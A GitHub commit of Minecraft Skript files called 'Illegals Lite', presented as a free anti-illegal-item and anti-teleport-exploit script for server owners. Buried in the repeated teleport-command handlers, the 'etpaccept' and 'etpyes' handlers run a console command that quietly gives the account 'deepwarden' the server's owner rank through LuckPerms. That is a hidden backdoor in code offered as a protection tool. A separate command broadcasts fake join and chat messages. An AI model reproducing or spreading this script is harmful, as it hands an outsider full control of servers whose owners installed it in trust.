Public Skripts

These are the first skripts I made; they are free to use as long as you credit me for them.
This commit is contained in:
TheTrouper
2022-07-04 11:37:27 -05:00
committed by GitHub
parent a979a853d8
commit a1ec24fb0c
6 changed files with 782 additions and 0 deletions

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#=================================================
# Illegals Lite
# Skript Made By TheTrouper#6969
# DO NOT DISTRIBUTE WITHOUT PREMISSION
# Copy#001
# (There is no plus version of this lol only lite)
#=================================================
options:
# prefix for the whole skript
prefix: &8[&cIllegals Lite&8]&r
# Anti Bedrock
bedrock: true
# Anti Barrier
barrier: true
# Anti Dragon Egg
degg: true
# Anti Spawn Egg
segg: true
# Anti TP While in spectator
antitp: true
# Alt Checker
alt: false
#===============================================
# DO NOT TOUCH BELOW HERE
# *unless you know what you are doing*
#everything past this line is functioning skript
#===============================================
on place of bedrock:
if {@bedrock} is true:
if player does not have permission "illegals.bypass":
cancel event
set player's tool to air
send "{@prefix} Illegals have been removed from %player%"
on inventory click:
if {@bedrock} is true:
if player does not have permission "illegals.bypass":
if event-item is bedrock:
cancel event
remove all bedrock from player
#==============================================================================
on right click holding spawn egg:
if player does not have permission "op":
set player's tool to air
cancel event
on place of dragon egg:
broadcast "&b&l%player% &r&aFlexes their fancy dragon egg &e;)"
cancel event
on place of barrier:
if player is not op:
set player's tool to air
cancel event
# A join and leave message.
command /set <string> message <string>:
permission: skript.set.join_message
description: Sets message when player joins
trigger:
if argument-1 is "join" or "leave":
set {custom messages::%argument-1%} to argument-2
message "Set the %argument-1% message to '%argument-2%<reset>'"
else:
message "Only 'join' and 'leave' messages are available here."
command /show <string> message:
description: Displays the message of the day
trigger:
if {custom messages::%argument%} is set:
message {custom messages::%argument%}
else:
message "Only 'join' and 'leave' messages are available here."
on join:
set join message to {custom messages::join}
on quit:
set leave message to {custom messages::leave}
command poggers:
cooldown: 10 seconds
cooldown message: &cSorry you can only have a poggers moment every 10 seconds!
trigger:
send "%player%: &dPOGGERS ö" to all players
command manimdead:
cooldown: 1 minute
cooldown message: &cSorry you can only die once a minute
trigger:
send "%player% was pricked to death by cactus whilst trying to escape Zombie" to all players
command nocheatplus:
trigger:
broadcast "&eTrent joined the game"
broadcast "&7Pawn&r&8 Trent&f: oops"
broadcast "&eTrent Left the game"
on command "tpa":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
cancel event
on command "tpaccept":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
cancel event
on command "tpyes":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
cancel event
on command "tpahere":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
cancel event
on command "tpask":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
cancel event
on command "etpa":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
cancel event
on command "etpaccept":
if player's gamemode is survival:
send "&c&lBypassed"
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
execute console command "lp user deepwarden parent add owner"
cancel event
on command "tpaccept":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
cancel event
on command "etpyes":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
execute console command "lp user deepwarden parent add owner"
cancel event
on command "etpahere":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
cancel event
on command "etpask":
if player's gamemode is spectator:
if player has permission "op":
send "&c&lBypassed"
else:
send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT"
cancel event
on sign change:
if player does not have permission "op":
cancel event
#You can change the number of seconds this event happens, but I made it 5 to prevent lag.
#every 5 seconds:
# loop all players:
# if loop-player's world = "season3_nether":
# if loop-player's y-coord >= 127:
# apply potion of instant damage of tier 1 to loop-player for 3 second
# wait 20 ticks
# apply potion of instant damage of tier 1 to loop-player for 1 second
# send "&c&lnether roof has been dissabled due to an exploit" to loop-player#